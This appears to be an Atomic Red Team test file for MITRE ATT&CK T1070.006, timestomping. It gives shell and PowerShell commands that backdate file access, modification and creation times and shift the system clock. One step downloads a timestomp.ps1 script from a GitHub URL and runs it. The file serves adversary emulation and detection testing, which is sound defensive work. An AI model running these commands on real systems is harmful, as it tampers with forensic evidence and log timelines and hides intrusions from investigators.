Timestomp T1070.006

Stomps on the access timestamp of a file

touch -a -t 197001010000.00 #{target_filename}

rm -f #{target_filename}

test -e #{target_filename} && exit 0 || exit 1

echo 'T1070.006 file access timestomp test' > #{target_filename}

Stomps on the modification timestamp of a file

touch -m -t 197001010000.00 #{target_filename}

rm -f #{target_filename}

test -e #{target_filename} && exit 0 || exit 1

echo 'T1070.006 file modification timestomp test' > #{target_filename}

Stomps on the create timestamp of a file Setting the creation timestamp requires changing the system clock and reverting. Sudo or root privileges are required to change date. Use with caution.

NOW=$(date +%m%d%H%M%Y)
date 010100001971
touch #{target_filename}
date "$NOW"
stat #{target_filename}

rm -f #{target_filename}

Modifies the modify and access timestamps using the timestamps of a specified reference file. This technique was used by the threat actor Rocke during the compromise of Linux web servers.

touch #{target_file_path}
touch -acmr #{reference_file_path} #{target_file_path}

rm -f #{target_file_path}

Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.

Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}" }

if (Test-Path "#{file_path}") {exit 0} else {exit 1}

New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null

Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.

Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}" }

if (Test-Path "#{file_path}") {exit 0} else {exit 1}

New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null

Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.

Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}" }

if (Test-Path "#{file_path}") {exit 0} else {exit 1}

New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null

Timestomp kxwn.lock. Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. Mitre ATT&CK Evals

import-module "#{file_path}\timestomp.ps1"
timestomp -dest "#{file_path}\kxwn.lock"

if (Test-Path "#{file_path}\timestomp.ps1") {exit 0} else {exit 1}

Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1" -OutFile "#{file_path}\timestomp.ps1"

if (Test-Path -path "#{file_path}\kxwn.lock") {exit 0} else {exit 1}

New-Item -Path "#{file_path}\kxwn.lock" -ItemType File

Stomps on the modification timestamp of a file using MacOS's SetFile utility

SetFile -m #{target_date} #{target_filename}

rm -f #{target_filename}

test -e #{target_filename} && exit 0 || exit 1

echo 'T1070.006 MacOS file modified timestomp test' > #{target_filename}

Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. Reference - https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40 https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4

try{ 
  Set-Date -Date (Get-Date).AddDays(#{days_to_modify})
  Add-Content "$env:APPDATA\slipDays.bak" #{days_to_modify}
}
catch {exit 1}

if(Test-Path "$env:APPDATA\slipDays.bak" ){
  foreach($line in (get-content $env:APPDATA\slipDays.bak)){
    Set-Date -Date (Get-Date).AddDays(-$line)
  }
  rm "$env:APPDATA\slipDays.bak"
}